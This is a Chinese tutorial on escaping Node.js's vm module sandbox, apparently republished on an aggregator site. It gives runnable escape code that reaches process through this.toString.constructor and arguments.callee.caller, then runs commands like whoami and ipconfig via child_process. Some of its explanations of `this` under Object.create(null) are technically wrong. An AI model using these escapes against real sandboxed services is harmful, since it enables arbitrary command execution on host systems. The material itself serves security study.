Nodejs沙箱逃逸

news2024/11/30 13:34:17

一、基本概念

JavaScript和Nodejs之间有什么区别

        JavaScript用在浏览器前端,后来将Chrome中的v8引擎单独拿出来为JavaScript单独开发了一个运行环境,因此JavaScript也可以作为一门后端语言,写在后端(服务端)的JavaScript就叫叫做Nodejs。

什么是沙箱(sandbox)

        当我们运行一些可能会产生危害的程序,我们不能直接在主机的真实环境上进行测试,所以可以通过单独开辟一个运行代码的环境,它与主机相互隔离,但使用主机的硬件资源,我们将有危害的代码在沙箱中运行只会对沙箱内部产生一些影响,而不会影响到主机上的功能,沙箱的工作机制主要是依靠重定向,将恶意代码的执行目标重定向到沙箱内部。

沙箱(sandbox)和 虚拟机(VM)和 容器(Docker)之间的区别

        sandbox和VM使用的都是虚拟化技术,但二者间使用的目的不一样。沙箱用来隔离有害程序,而虚拟机则实现了我们在一台电脑上使用多个操作系统的功能。Docker属于sandbox的一种,通过创造一个有边界的运行环境将程序放在里面,使程序被边界困住,从而使程序与程序,程序与主机之间相互隔离开。在实际防护时,使用Docker和sandbox嵌套的方式更多一点,安全性也更高。

在Nodejs中,我们可以通过引入vm模块来创建一个“沙箱”,但其实这个vm模块的隔离功能并不完善,还有很多缺陷,因此Node后续升级了vm,也就是现在的vm2沙箱,vm2引用了vm模块的功能,并在其基础上做了一些优化。

二、vm模块

        vm模块是Node.JS内置的一个模块。理论上不能叫沙箱,他只是Node.JS提供给使用者的一个隔离环境。

举例说明

const vm = require('vm');
const script = `m + n`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)

 这个隔离环境是很容易绕过的。这个环境中上下文里有三个对象:

this 指向传给vm.createContextsha沙箱的那个对象

m 等于数字1

n 等于数字2

我们可以使用外部传入的对象,比如this来引入当前上下文里没有的模块,进而绕过这个隔离环境。

this.toString.constructor('return process')()
const process = this.toString.constructor('return process')() 
process.mainModule.require('child_process').execSync('whoami').toString()

第一行this.toString获取到一个函数对象,this.toString.constructor获取到函数对象的构造器,构造器中可以传入字符串类型的代码。然后在执行,即可获得process对象。

第二行,利用前面获取的process对象既可以干任何事。

注意

为什么不直接使用{}.toString.constructor('return process')(),却要使用this呢?

        这两个的一个重要区别就是,{}是在沙盒内的一个对象,而this是在沙盒外的对象(注入进来的)。沙盒内的对象即使使用这个方法,也获取不到process,因为它本身就没有process。

m和n也是沙盒外的对象,为什么不用m.toString.constructor('return process')()呢?

        因为primitive types,数字、字符串、布尔等这些都是primitive types,他们的传递其实传递的是值而不是引用,所以在沙盒内虽然你也是使用的m,但是这个m和外部那个m已经不是一个m了,所以也是无法利用的

        所以,如果修改下context:{m: [], n: {}, x: /regexp/},这样m、n、x就都可以利用了。

 沙箱绕过的核心原理

        只要在沙箱内部,找到一个沙箱外部的对象,借助这个对象内的属性即可获得沙箱外的函数,进而绕过沙箱。

三、沙箱逃逸示例:

1、第一种沙箱逃逸方法——利用this

const vm = require('vm');
const script = `
const process = this.toString.constructor('return process')() 
process.mainModule.require('child_process').execSync('whoami').toString()
`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)

 逃逸完成 !!!

此时可以发现命令执行已经逃逸出沙箱在本地端执行了

但是执行结果为什么不是whoami呢?

我们查看一下在nodejs下 查看whoami命令结果,可以看到执行结果为查找当前主机的主机名

换句话说,此时逃逸出沙箱的执行权限则为Administrators,是管理员权限,可见其危害之大

我们可以将whoami命令换成ipconfig,可以更加直观感受到沙箱逃逸的危害

const vm = require('vm');
const script = `
const process = this.toString.constructor('return process')() 
process.mainModule.require('child_process').execSync('ipconfig').toString()
`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)

可以看到此时沙箱逃逸执行命令权限为任意执行,危害极大!!!

2、利用引用类型例如{}

我们改一下代码,让上下文中不存在this也不存在其他对象,代码如下:

const vm = require('vm');
const script = `..`;
const sandbox = Object.create(null)
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script,context);

此时this是null,上下文中也没有其他对象,怎么办?

在 JavaScript 中,this 关键字的值取决于函数的执行上下文。在全局作用域中,this 通常指向全局对象(如浏览器环境中的 window 对象,Node.js 环境中的 global 对象)。但是,在使用 Object.create(null) 创建的对象上下文中,this 将为 null。

const sandbox = Object.create(null);
Object.create(null) 是一个创建一个新对象的方法,该对象没有继承自任何原型链。在 JavaScript 中,Object.create(null) 会创建一个纯净的对象,它没有继承自 Object.prototype 或任何其他原型对象,因此不会拥有默认的原型方法和属性。这样的对象通常被称为“空对象”或“纯净对象”。

在这个纯净对象 sandbox 上下文中,由于没有原型链,它的 this 值将为 null。也就是说,如果在 sandbox 对象的上下文中使用 this 关键字,它将是 null。

让我们看一个例子:

const sandbox = Object.create(null);

function greet() {
  console.log(this);
}

greet(); // Output: null
在上述示例中,我们定义了一个名为 greet 的函数,并在全局作用域中调用它。由于函数在全局作用域中调用,它的 this 值将为全局对象(如浏览器环境中的 window 或 Node.js 环境中的 global)。然而,如果我们在 sandbox 对象的上下文中调用 greet 函数,this 将为 null:

const sandbox = Object.create(null);

function greet() {
  console.log(this);
}

sandbox.greet = greet;
sandbox.greet(); // Output: null
在这个例子中,我们将 greet 函数作为 sandbox 对象的方法,并在 sandbox 对象的上下文中调用它。在这种情况下,this 将是 null

此时我们可以借助arguments对象。arguments是在函数执行的时候存在的一个变量,我们可以通过arguments.callee.caller获得调用这个函数的调用者。

在 JavaScript 中,arguments.callee 和 arguments.caller 都是用于访问函数调用相关信息的特殊属性。然而,这两个属性都已经被弃用(deprecated)并不再建议使用,因为它们在严格模式("strict mode")下会导致错误。

arguments.callee:

arguments.callee 是一个指向当前正在执行的函数本身的引用。
通过 arguments.callee 可以在函数内部递归调用自身,而不需要知道函数的名称。
在过去,它经常用于创建匿名递归函数。例如:
const factorial = function(n) {
  if (n === 0 || n === 1) {
    return 1;
  } else {
    return n * arguments.callee(n - 1); // 不推荐使用
  }
};
但是,由于 arguments.callee 在严格模式下会导致错误,建议使用命名函数表达式或函数声明来实现递归。

arguments.caller:

arguments.caller 是一个指向调用当前函数的函数的引用。
它提供了一种查找调用栈的方式,可以追溯到调用当前函数的函数。
与 arguments.callee 类似,arguments.caller 也在严格模式下被弃用。
例子:
function outer() {
  inner();
}

function inner() {
  console.log(arguments.caller); // 不推荐使用
}

outer();
在上述例子中,inner 函数内部使用 arguments.caller 来获取调用它的函数 outer 的引用。但是请注意,这两个属性已经被弃用,应该避免在代码中使用它们。相反,可以使用函数表达式、命名函数或箭头函数来实现递归,而不需要依赖 arguments.callee。要获取调用栈的信息,可以使用 Error 对象的 stack 属性。

那么如果我们在沙盒中定义一个函数并返回,在沙盒外这个函数被调用,那么此时的arguments.callee.caller就是沙盒外的这个调用者,我们再通过这个调用者拿到它的constructor等属性,就可以绕过沙箱了。

const vm = require('vm');
const script = `(() => {  
	const a = {}  
	a.toString = function () {    
	const cc = arguments.callee.caller;    
	const p = (cc.constructor.constructor('return process'))();   
	 return p.mainModule.require('child_process').execSync('whoami').toString()  
	}  
	return a })()`;
const sandbox = Object.create(null)
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script,context);
console.log('hello' + res)

逃逸成功!!! 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1054818.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

什么是博弈论?

什么是博弈?字面描述中,博弈由两个字构成:博 和 弈。博弈是一种双方(多方)的对抗(比赛),对抗总是在一定的规则下进行,参与者必然会考虑应用相应的策略(计谋&a…

防火墙基础之H3C防火墙分支与分支之间双向地址转换

分支与分支之间双向地址转换 原理概述: 防火墙(英语:Firewall)技术是通过有机结合各类用于安全管理​与筛选的软件和硬件​设备,帮助计算机网络于其内、外网之间构建一道相对隔绝的保护屏障,以保护用户资…

leetCode 376.摆动序列 动态规划 + 图解 + 状态转移

376. 摆动序列 - 力扣(LeetCode) 如果连续数字之间的差严格地在正数和负数之间交替,则数字序列称为 摆动序列 。第一个差(如果存在的话)可能是正数或负数。仅有一个元素或者含两个不等元素的序列也视作摆动序列。 例如…

SpringBoot整合RocketMQ笔记

SpringBoot版本为2.3.12.Release RocketMQ对比kafka 学习链接 https://zhuanlan.zhihu.com/p/335216381 代码实战 https://www.cnblogs.com/RedOrange/p/17401238.html Centos安装rocketmq https://blog.csdn.net/chuige2013/article/details/123783612 RocketMQ详细配置与…

竞赛 大数据疫情分析及可视化系统

文章目录 0 前言2 开发简介3 数据集4 实现技术4.1 系统架构4.2 开发环境4.3 疫情地图4.3.1 填充图(Choropleth maps)4.3.2 气泡图 4.4 全国疫情实时追踪4.6 其他页面 5 关键代码最后 0 前言 🔥 优质竞赛项目系列,今天要分享的是 🚩 大数据疫…

宝塔 php修改了php.ini配置不生效

最近在使用hypref,php的版本是7.4 服务器linux,用宝塔安装完php,并装完swoole插件后 安装了swoole后,需要在php.ini中修改一下配置文件 添加 swoole.use_shortnameOff 但是添加了,重启php,依然不生效 解决方法是: 同时…

数字时代古文的传承———云南文化瑰宝“爨文化“(我为家乡发声)

文章目录 前言⭐ "爨"意味着什么,究竟何为"爨文化"?⭐ 爨文化鲜明的特点1.经济生活2.政治生活3.文化艺术 ⭐ 数字时代古文的传承与传播1.藏品数字化2.建立数据库3.传播大众化 前言 爨文化是继古滇文化之后崛起于珠江正源南盘江流域…

[Linux] 6.VMware虚拟机网络配置

在VMware虚拟机下可以在虚拟网络编辑器看到三种模式 一、Bridged(桥接模式) 桥接模式就是将主机网卡与虚拟机虚拟的网卡利用虚拟网桥进行通信。 真机、虚拟机都有自己的ip地址,能互相通讯,而且能上网。 功能齐全,但…

【Django笔记】5 Django模板

1. Django-bootstrap3 Bootstrap 是要给CSS/HTML 框架 Django-bootstrap3 是Bootstrap3 集成到Django中,作为Django 的一个应用。 (3 表示版本号) Django-bootstrap3 安装 django-bootstrap3 PyPI Installation Install using pip: pip install django-boots…

雷达编程实战之功耗优化技术(低功耗)

本篇文章以xWRL6432为例,首先介绍了芯片内部的电源管理框架,在产品业务处理流程的不同阶段,我们可以对不同电源域进行相应的开/关来降低功耗。然后介绍了不同的硬件电源参考设计对芯片功耗的影响,又着重介绍了线性调频脉冲相关参数…

1.2.C++项目:仿muduo库实现并发服务器之时间轮的设计

文章目录 一、为什么要设计时间轮?(一)简单的秒级定时任务实现:(二)Linux提供给我们的定时器:1.原型2.例子 二、时间轮(一)思想(一)代码 一、为什…

2023年显著性检测论文及代码汇总(3)

ACM MM Point-aware Interaction and CNN-induced Refinement Network for RGB-D Salient Object Detection code Abstacrt:近年来,CNN在特征提取和跨模态交互中得到了充分的利用,但在自模态和跨模态的全局远程依赖关系建模方面仍存在不足。…

二叉树的常见操作

二叉树的常见操作 注:二叉树的结构如下: typedef char BinaryTreeDataType; typedef struct BinaryTreeNode {struct BinaryTreeNode* left;struct BinaryTreeNode* right;BinaryTreeDataType data; }BTNode;以下所有操作都以下面的树为例:…

PHP8中final关键字的应用-PHP8知识详解

在PHP8中,final的中文含义是最终的、最后的意思。被final修饰过的类和方法就是“最终的版本”。 如果关键字final放在类的前面,则表示该类不能被继承。 如果关键字final放在方法的前面,则表示该 方法不能被重新定义。 如果有一个类的格式为…

ili9431液晶 tft_espi图形库演示 时钟、天气、滚动、气象图标

米思齐tft_spi模块库演示程序。心知天气、阿里云时钟、WiFi信号强度检测、1分钟滚屏、更新天气时间为15分钟、加入天气图标。更新天气次数。断网检测 。此程序为tft_eSPI图形库演示、如感觉好可以自行优化。 ili9431tft_espi库是用于ESP32和ESP8266芯片的TFT LCD驱动程序库&am…

C++基础_Day02

文章目录 四、流程控制语句4.1 选择结构4.1.1 if语句 4.1.2 三目运算符4.1.3 switch语句注意事项 4.1.4 if和switch的区别【CHAT】4.2 循环结构4.2.1 while循环语句4.2.2 do...while循环语句 4.2.3 for循环语句九九乘法表 4.3 跳转语句4.3.1 break语句4.3.2 continue语句4.3.3 …

京东优惠券哪里找到如何领取内部隐藏优惠券怎么使用京东优惠券?

京东优惠券是指通过草柴APP查询要购买京东商品的大额隐藏优惠券,找到后点击进入领取京东优惠券,然后再京东购物可享受领券更便宜的购物方式。 京东优惠券哪里领取内部隐藏优惠券怎么使用? 1、打开京东APP挑选要购买的商品,并点击…

C++简单实现AVL树

目录 一、AVL树的概念 二、AVL树的性质 三、AVL树节点的定义 四、AVL树的插入 4.1 parent的平衡因子为0 4.2 parent的平衡因子为1或-1 4.3 parent的平衡因子为2或-2 4.3.1 左单旋 4.3.2 右单旋 4.3.3 先左单旋再右单旋 4.3.4 先右单旋再左单旋 4.4 插入节点完整代码…

C++指针常量,常量指针以及, 引用和指针的区别

const修饰指针有三种情况 1. const修饰指针 --- 常量指针 2. const修饰常量 --- 指针常量 3. const即修饰指针,又修饰常量 c int main() {int a 10;int b 10;//const修饰的是指针,常量指针,指针指向可以改,指针指向的值不…

linux——进程间通信——管道

✅<1>主页&#xff1a;&#xff1a;我的代码爱吃辣 &#x1f4c3;<2>知识讲解&#xff1a;Linux——进程间通信——管道通信 ☂️<3>开发环境&#xff1a;Centos7 &#x1f4ac;<4>前言&#xff1a;进程间通信&#xff08;InterProcess Communication&…